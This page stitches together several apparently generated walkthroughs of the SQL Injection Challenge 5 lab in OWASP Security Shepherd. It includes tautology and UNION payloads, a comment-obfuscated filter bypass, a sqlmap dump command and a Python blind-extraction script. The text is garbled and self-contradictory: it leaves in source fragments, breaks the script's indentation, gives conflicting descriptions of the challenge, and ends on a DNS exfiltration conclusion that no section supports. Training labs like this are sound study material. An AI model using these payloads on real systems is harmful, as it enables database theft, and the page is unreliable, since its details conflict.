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SQL Injection Challenge 5 (often referred to as the "Meme Shop" or "Coupon Code" challenge) in OWASP Security Shepherd is a logic-based injection task that tests your ability to manipulate backend database queries through input fields. Challenge Overview

In this scenario, you are presented with a "Super Meme Shop" interface where you can "buy" items. The goal is to obtain a VIP Coupon Code

that allows you to complete a transaction for free (or for a "troll amount"), which then rewards you with the result key. 1. Identify the Vulnerable Input The vulnerability lies in the Coupon Code

input field. Unlike earlier challenges that might use simple login forms, this one requires you to extract data from a table you don't initially see. Course Hero 2. Construct the Payload The backend likely uses a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = 'USER_INPUT'; Course Hero

To bypass the check and force the database to return a valid coupon code (even if you don't know it), you can use a classic tautology: Course Hero Resulting Query:

SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

is always true, the database will return the first available coupon code in the table. Course Hero 3. Exploit and Retrieve the Key Enter the payload into the Coupon Code box and click "Place Order". The application should reveal a VIP Coupon Code (e.g., a specific string like VIP-123-CODE Refresh the page or go back to the shop, enter the actual coupon code

you just discovered, and set a quantity for an item (some versions require a "Troll Amount" is greater than or equal to 1 Submit the order to receive your solution key. Key Takeaway

This challenge demonstrates that SQL injection isn't just about bypassing logins; it can be used to exfiltrate sensitive data

(like discount codes or internal IDs) that the application logic then trusts for further actions. ResearchGate ✅ Result The solution involves using a tautology payload like

in the coupon field to force the database to leak a valid VIP code, which is then used to "purchase" the result key for free. Are you having trouble with the mechanism in this specific level, or does the payload work for your version?

OWASP Security Shepherd SQL Injection Challenge 5 (often featuring the "Super Meme Shop"), the objective is to bypass coupon validation to purchase items for free and obtain the result key. Core Vulnerability & Strategy The challenge uses an input field for a Coupon Code . The backend likely executes a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = '[USER_INPUT]'; Course Hero Since the goal is to make this query return

regardless of the actual coupon, you can use a classic tautology injection. Solution Steps Tautology Injection : Input a payload that always evaluates to true, such as: ' OR 1=1 -- " OR 1=1 -- : By using

, the logic becomes "where coupon code is [blank] OR where 1 equals 1." Since 1 always equals 1, the database validates the request as successful. Alternative (Client-Side Analysis)

: Some versions of this challenge involve a JavaScript file (e.g., couponCheck.js

) that uses DES/3DES encryption. In these cases, the "real" coupon code can be found by decrypting the values in the script using the provided keys and IVs found in the source code. Course Hero Automated Approach For more complex instances, you can use to automate the extraction: Capture the request in a proxy like Burp Suite Run sqlmap against the URL, targeting the couponCode parameter:

sqlmap -u "[CHALLENGE_URL]" --data="couponCode=test" --cookie="[YOUR_SESSION_COOKIE]" --dump Course Hero

Always ensure you are assigned to a "class" within Security Shepherd to see and submit the result keys correctly. path for this specific challenge? OWASP Security Shepherd Project - CSRF 1 (CSRF Challenge) sql+injection+challenge+5+security+shepherd+new

Why "New" Players Fail on Challenge 5

Based on community threads for "sql injection challenge 5 security shepherd new", the three most common failure points are:

  1. Assuming a default table name: Many try information_schema.tables, but the "new" challenge frequently disables access to the information schema. You must guess the table name (often hinted in the page source comments).
  2. Forgetting the LIMIT clause: Without LIMIT 0,1, SUBSTRING might try to read multiple rows, causing a syntax error.
  3. URL Encoding Mismatch: The # character for comments doesn't work in URL parameters. Use -- - (space, dash, dash, space) or %23. The safest is --+ (space, dash, dash, plus), but the new version strips spaces, so use --%20- or simply end the URL path.

4. Step-by-Step Exploitation

Step 1: Determine the number of columns

We cannot use ORDER BY easily due to space filters, so we use UNION SELECT NULL. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL/**/aNd/**/1=2-- -

If this returns no rows (False), try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -

Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns.

Automation for the "New" Challenge

Doing this manually takes hours. Use a Python script with requests and binary search logic:

import requests

url = "http://localhost:8080/challenge5.jsp"
flag = ""
position = 1


while True:
for ascii_val in range(32, 127):
char = chr(ascii_val)
# Blind boolean payload
payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -"
params = {"userid": payload}
resp = requests.get(url, params=params)


    if "User Found" in resp.text:
        flag += char
        print(f"Found: {flag}")
        position += 1
        break
else:
    # No more characters found
    print(f"Final flag: {flag}")
    break

Common defenses and mitigations

8. Conclusion

SQL Injection Challenge 5 on Security Shepherd teaches a critical lesson: even when an application gives no visible output, no errors, and no timing differences, data can still be stolen via out-of-band channels like DNS. This technique is powerful in real-world pentests against MS SQL Server environments that permit external network calls.

Completing this challenge requires:

Final answer for the challenge: Submit the extracted secret key via the Shepherd web interface.

SQL Injection Challenge 5: Security Shepherd's New Level of Protection

SQL injection attacks have been a significant threat to web application security for years. These attacks occur when an attacker is able to inject malicious SQL code into a web application's database, allowing them to access, modify, or delete sensitive data. To combat this threat, security professionals have developed various tools and techniques to detect and prevent SQL injection attacks. One such tool is Security Shepherd, a web application security testing platform that provides a series of challenges to help security professionals hone their skills.

In this article, we will focus on SQL Injection Challenge 5, a new level of protection offered by Security Shepherd. We will discuss the challenge in detail, providing a step-by-step guide on how to complete it, and offer insights into the security measures that can be taken to prevent SQL injection attacks.

What is Security Shepherd?

Security Shepherd is an open-source web application security testing platform designed to help security professionals improve their skills in identifying and exploiting vulnerabilities. The platform provides a series of challenges that simulate real-world security scenarios, allowing users to practice their skills in a safe and controlled environment.

SQL Injection Challenge 5: Overview

SQL Injection Challenge 5 is the latest addition to Security Shepherd's series of challenges. This challenge is designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application. The challenge is divided into several levels, each with increasing difficulty. SQL Injection Challenge 5 (often referred to as

Step-by-Step Guide to Completing SQL Injection Challenge 5

To complete SQL Injection Challenge 5, follow these steps:

  1. Access the Challenge: Log in to Security Shepherd and navigate to the SQL Injection Challenge 5 page.
  2. Understand the Objective: Read and understand the challenge objective, which is to extract a specific piece of information from the database.
  3. Analyze the Web Application: Analyze the web application and identify potential entry points for SQL injection attacks.
  4. Inject Malicious SQL Code: Use a SQL injection tool or manually inject malicious SQL code into the identified entry points.
  5. Extract Information: Extract the required information from the database.

SQL Injection Techniques Used in Challenge 5

In SQL Injection Challenge 5, you will need to use advanced SQL injection techniques, such as:

  1. Boolean-based Blind SQL Injection: This technique involves injecting malicious SQL code that returns a boolean value, allowing you to infer information about the database.
  2. Time-based Blind SQL Injection: This technique involves injecting malicious SQL code that causes a delay in the database's response, allowing you to infer information about the database.

Security Measures to Prevent SQL Injection Attacks

To prevent SQL injection attacks, web developers can take the following security measures:

  1. Input Validation: Validate user input to prevent malicious SQL code from being injected into the database.
  2. Parameterized Queries: Use parameterized queries to separate the SQL code from the user input.
  3. Escaping: Escape special characters in user input to prevent SQL injection attacks.

Best Practices for Completing SQL Injection Challenges

To complete SQL injection challenges like SQL Injection Challenge 5, follow these best practices:

  1. Understand the Challenge Objective: Clearly understand the challenge objective and the required outcome.
  2. Use a SQL Injection Tool: Use a SQL injection tool, such as Burp Suite or SQLmap, to simplify the injection process.
  3. Analyze the Web Application: Analyze the web application to identify potential entry points for SQL injection attacks.

Conclusion

SQL Injection Challenge 5 is a new level of protection offered by Security Shepherd, designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application. By completing this challenge, security professionals can improve their skills in identifying and preventing SQL injection attacks. By following the steps outlined in this article and taking the recommended security measures, web developers can prevent SQL injection attacks and protect their web applications from malicious activity.

Additional Resources

For more information on SQL injection attacks and Security Shepherd, check out the following resources:

FAQs

Q: What is SQL Injection Challenge 5? A: SQL Injection Challenge 5 is a new level of protection offered by Security Shepherd, designed to test a user's ability to identify and exploit a SQL injection vulnerability in a web application.

Q: How do I complete SQL Injection Challenge 5? A: To complete SQL Injection Challenge 5, follow the step-by-step guide outlined in this article.

Q: What are the best practices for completing SQL injection challenges? A: The best practices for completing SQL injection challenges include understanding the challenge objective, using a SQL injection tool, and analyzing the web application.

Q: How can I prevent SQL injection attacks? A: To prevent SQL injection attacks, validate user input, use parameterized queries, and escape special characters in user input.

The following report details the technical breakdown and solution for SQL Injection Challenge 5 (SQLi C5 VIPCouponCheck) within the OWASP Security Shepherd training platform. Challenge Overview

Goal: Bypass a VIP coupon validation system to retrieve sensitive information or a specific "VIP" coupon code. Assuming a default table name: Many try information_schema

Vulnerability: The application takes a user-supplied couponCode and concatenates it directly into a SQL query string without proper sanitization or parameterization. Vulnerability Analysis

As shown in the original source code, the application executes the following vulnerable query:

"SELECT itemId, perCentOff, itemName FROM vipCoupons JOIN items USING (itemId) WHERE couponCode = '" + couponCode + "';" Use code with caution. Copied to clipboard

Because the input is wrapped in single quotes (') but not escaped, an attacker can "break out" of the string and append their own SQL commands. Exploitation Steps

Test for Vulnerability: Input a single quote ('). If the application returns a database error or behaves unexpectedly, it confirms the input is being processed by the database engine.

Bypass Filtering: Some variations of this challenge include basic escaping (like replacing ' with \'). If so, using a backslash before the quote (\') might escape the escape character, leaving the single quote active.

Classic Bypass: To return all coupons in the system, use a tautology (a statement that is always true): Payload: ' OR '1'='1 Resulting Query: ... WHERE couponCode = '' OR '1'='1';

Targeted Retrieval: If the goal is to find a specific hidden coupon, you can use a UNION SELECT attack to query the database schema or other tables if permissions allow. Solution Summary

The most direct way to complete the challenge is typically to use a payload like ' OR '1'='1 or " OR ""=" in the coupon code field to force the query to return results even without a valid code. Mitigation Recommendations

Parameterized Queries: Use PreparedStatement correctly by passing the input as a parameter rather than concatenating it into the query string.

Input Validation: Strictly validate the format of the coupon code (e.g., alphanumeric only) before it reaches the database.

Least Privilege: Ensure the database user account used by the web application has the minimum necessary permissions to prevent broader data theft.

To solve the SQL Injection Challenge 5 in Security Shepherd (often titled "SQL Injection 5"), you need to exploit an Insecure Direct Object Reference (IDOR)

vulnerability that is susceptible to SQL injection. In this level, the application typically asks for a "User ID" or "Account Number" to display private information.

The goal is to extract the session key or a specific "secret" (the lesson's result) by manipulating the input field to bypass the intended query logic. Steps to Solve Analyze the Input

The challenge provides a field to enter a user ID. A normal request might look like . The backend likely executes a query similar to: SELECT secret FROM lessons WHERE userId = [YOUR_INPUT] Test for Vulnerability Enter a single quote ( ) or a common payload like 5' OR '1'='1

. If the page errors out or displays data for a different user, it is vulnerable to SQL injection. Identify the Schema To retrieve the flag, you need to see all records. Use a based injection or a simple logic bypass. : This forces the

clause to always be true, potentially dumping every user's secret in the database. Refine the Injection (UNION Select) If the simple bypass doesn't work, use a

statement to join the results of a second query. First, find the number of columns: 1' ORDER BY 1-- (Increment the number until you get an error). Once you know the column count (e.g., 2), use: 1' UNION SELECT NULL, result FROM results-- Retrieve the Key

Look through the output on the page. One of the "secrets" displayed will be the alphanumeric string required to submit the lesson. Summary of Payload ' OR 1=1-- Use code with caution. Copied to clipboard ,key_column internal_table Use code with caution. Copied to clipboard

In the "New" Security Shepherd environment, table names or column names might be obfuscated. If the basic doesn't work, check the source code or use information_schema.tables to find the correct table names.